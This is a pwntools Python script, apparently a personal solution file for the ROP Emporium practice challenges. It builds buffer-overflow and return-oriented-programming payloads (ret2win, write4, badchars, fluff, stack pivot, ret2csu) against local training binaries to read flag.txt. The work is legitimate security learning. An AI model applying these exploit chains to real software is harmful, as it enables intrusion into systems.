-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
238 lines (201 loc) · 7.62 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
#!/usr/bin/env python
from pwn import *
# import zipfile
basepayload = b"A" * 40
# Ret2win
p = process("./ret2win")
#p = gdb.debug("./ret2win")
# x86-64 ret2win has a stack alignment issue if you only supply the return for 0x400756, 0x400770 is provided for stack alignment
# 0x400756 is the start of the pwnme function that calls /bin/cat flag.txt
payload = basepayload + p64(0x400770) + p64(0x400756)
# payload = basepayload + p64(0x400765)
print("Payload in hex:", payload.hex())
print("Payload in ASCII:", repr(payload))
p.sendline(payload)
print(p.recvall().decode())
p.close()
# split
# Stack
# buffer 32 bytes
# base pointer 8 bytes
# return addr (rip) 8 bytes
# rop gadet pop rdi
# rop gadget info
# ret addr
# syscall
b = process("./split")
# 0x400752 is a ret instruction
# 0x601060 is /bin/cat flag.txt > needs to be in rdi
# 0x40074b is a system call exec
# 0x4007c3 is pop rdi, return.
payload = basepayload + p64(0x400752) + p64(0x4007c3) + p64(0x601060) + p64(0x400752) + p64(0x40074b)
#payload = basepayload + p64(0x00000000004007c3) + p64(0x00601060) + p64(0x000000000040074b)
b.send(payload)
print(b.recvall().decode())
b.close()
# callme
# unzip callme
# with zipfile.ZipFile(./ropemproium/callme.zip, 'r') as zip_ref:
# zip_ref.extractall(./)
# Each callme needs to be called with the arguments 0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00c
# I need to enter these arguments manually
# callme1 0x40092d
# callme2 0x400919
# callme3 0x400905
# usefulGadget 0x40093c : pop rdi, pop rsi, pop rdx, ret
# ret; 0x4006be
# pop rbp ret: 0x4007c8
# pop rsp pop r13 r14 r15 ret: 0x40099d
# maybe I need to push these rets for when another function is called to overwrite the GOT?
# the read is 512 characters long
c = gdb.debug("./callme")
setreg = p64(0x40093c)
db = p64(0xdeadbeefdeadbeef)
cb = p64(0xcafebabecafebabe)
fd = p64(0xd00df00dd00df00d)
argcall = setreg + db + cb + fd
payload = basepayload + argcall + p64(0x400720) + argcall + p64(0x400740) + argcall + p64(0x4006f0)
c.sendline(payload)
print(c.recvall())
c.close()
# Write4
# I'm looking for mov [reg], reg2; this will move the value store in register 2 into the memory address stored in register 1. IE It can overwrite memory.
# this means I need to find where I can do that, which registers it needs, and what I want to overwrite.
d = process("./write4")
uf = p64(0x400510)
data_set = p64(0x400690) # pop r14 , pop r15, ret
write_function = p64(0x400628) # mov qword ptr [r14], r15; ret;
# Not in a writable location
# write_location = p64(0x4006b4) # originally this string says "nonexistent"
write_location = p64(0x601200)
write_string = b"flag.txt"
rdipop = p64(0x400693)
payload = basepayload + data_set + write_location + write_string + write_function + rdipop + write_location + uf
d.send(payload)
print(d.recvall().decode())
d.close()
# badchars
# x g a .
# insert flag.txt -> values changed to eb -> xor with new string to get flag.txt -> call print
specialbasepayload = b"A" * 40
e = process("./badchars")
call_print = p64(0x400620)
rdipop = p64(0x4006a3)
write_string = "flag.txt"
def prexor(string, key):
hold = []
for s in string:
char = chr(ord(s) ^ key)
hold.append(char)
return ''.join(hold)
prexorString = prexor(write_string, 2)
print(prexorString)
xorfunction = p64(0x400628) # xor [r15], r14
write_location = 0x601300
r14_r15 = p64(0x4006a0) # pop r14 pop r15
mov_func = p64(0x400634) # mov r[13], r12
popchain = p64(0x40069c) # pop r12, r13, r14, r15 ret
# payload = specialbasepayload + b'aaaaaaaa' + b'xxxxxxxx' + b'gggggggg' + b'........'
#payload = specialbasepayload + popchain + prexor + write_location + xorpair + write_location + mov_func + xorfunction
# load pre-xor
payload = specialbasepayload + popchain + prexorString.encode() + p64(write_location) + b'JUNKVALS' + b'JUNKVALS' + mov_func
# xor inverse
for i in range(8):
payload += popchain + b'JUNKVALS' + b'JUNKVALS' + p64(2) + p64(write_location+i) + xorfunction
# rdi pop
payload +=rdipop + p64(write_location) + call_print
e.send(payload)
print(e.recvall().decode())
e.close
# fluff
f = process("./fluff")
call_print = p64(0x400510)
rdipop = p64(0x4006a3)
write_location = 0x601300
# the mov[reg], reg doesn't exist in this challenge. We have to recreate it.
# we have the following "useful" gadgets given to us:
stosb = p64(0x400639) # stosb byte ptr [rdi], al | ret;
xlatb = p64(0x400628) # xlatb | ret;
bextr = p64(0x40062a) # pop rdx | pop rcx | add rcx, 0x3ef2, | bextr rbx, rcx, rdx | ret
# xlatb
# can get a value into rdi and repeatedly write using stos
# xlab will modify al based on rbx, this is literally al, [rbx]
# bextr is our rbx modifier
# stosb: store AL at [rdi] then increment rdi. In short: you use AL to load 1 byte at a time into the space pointed to by RDI
# bextr modifies rbx -> xlatb -> store a value in AL based on rbx -> stosb to load that Al value into [rdi]
# Need to find where these bytes are in the file, this script gives us the offset, when added to the entry point we get the actual address
entry_point = 0x400000
address_book = []
current_rax = 0xb
flagstring = ['f', 'l', 'a', 'g', '.', 't', 'x', 't']
with open("fluff", "rb") as fs:
s = fs.read()
for i in b'flag.txt':
offset = s.find(i)
actual_address = entry_point + offset
print(chr(i) + ' -> Offset:' + hex(offset) + ' || Actual -> '+ hex(actual_address))
address_book.append(hex(actual_address))
print(address_book)
# payload
payload = basepayload
for i in range(0,8):
if(i != 0):
current_rax = ord(flagstring[i-1])
payload += bextr # bextr
payload += p64(0x4000) # rdx mask
rcx = int(address_book[i], 16) - current_rax - 0x3ef2 # rcx
payload += p64(rcx)
payload += xlatb
payload += rdipop
payload += p64(write_location+i)
payload += stosb
# print
payload += rdipop + p64(write_location) + call_print
f.send(payload)
print(f.recvall().decode())
f.close()
# pivot
# the first entry has 256 bytes of space
# the second entry only has 64 bytes of space, the 2nd user entry needs to pivot the stack onto the first.
g = process("./pivot")
# poprdi = p64(0x400a33)
foothold_plt = p64(0x400720)
foothold_got = p64(0x601040)
poprax = p64(0x4009bb)
xchng = p64(0x4009bd)
addrax = p64(0x4009c4) # add rbp to rax
movrax = p64(0x4009c0) # loads the value at of rax as an address and stores it in rax
poprbp = p64(0x4007c8) # pop rbp
callfunc = p64(0x4006b0) # call function loaded into rax
# foothold_funct offset = 96a
# ret2win offset = a81
retoffset = p64(0x117)
# call the function to populate the got entry,
# payload1 = p64(0xdeadbbeef)
payload1 = foothold_plt + poprax + foothold_got + movrax + poprbp + retoffset + addrax + callfunc
g.send(payload1)
output = g.recvuntil("> ").decode()
print(output)
match = re.search(r'0x[0-9a-fA-F]+', output)
heap_address = match.group(0)
print("Heap address found:", heap_address)
pivotpoint = p64(int(heap_address,16))
payload2 = basepayload + poprax + pivotpoint + xchng
g.send(payload2)
print(g.recvall().decode())
g.close()
# ret2csu
h = process("./ret2csu")
db = p64(0xdeadbeefdeadbeef)
cb = p64(0xcafebabecafebabe)
df = p64(0xd00df00dd00df00d)
ret2win = p64(0x400510) # need to call ret2win(rdi, rsi, rdx)
callrax = p64(0x400793) # call rax
poprdi = p64(0x4006a3) # pop rdi ret
popchain = p64(0x40069a) # pop rbx, pop rbp, pop r12, pop r13, pop r14, pop r15, ret
callchain = p64(0x400680) # mov rdx, r15 | mov rsi, r14 | mov edi, r13d | call [r12+rbx*8]
init = p64(0x600e38) # call to _init on the GOT
payload = basepayload + popchain + p64(0x0) + p64(0x1) + init + db + cb + df + callchain + p64(0x0) + p64(0x0) + p64(0x1) + p64(0xf) + p64(0xf) + p64(0xf) + p64(0xf) + poprdi + db + ret2win
h.send(payload)
print(h.recvall().decode())
h.close()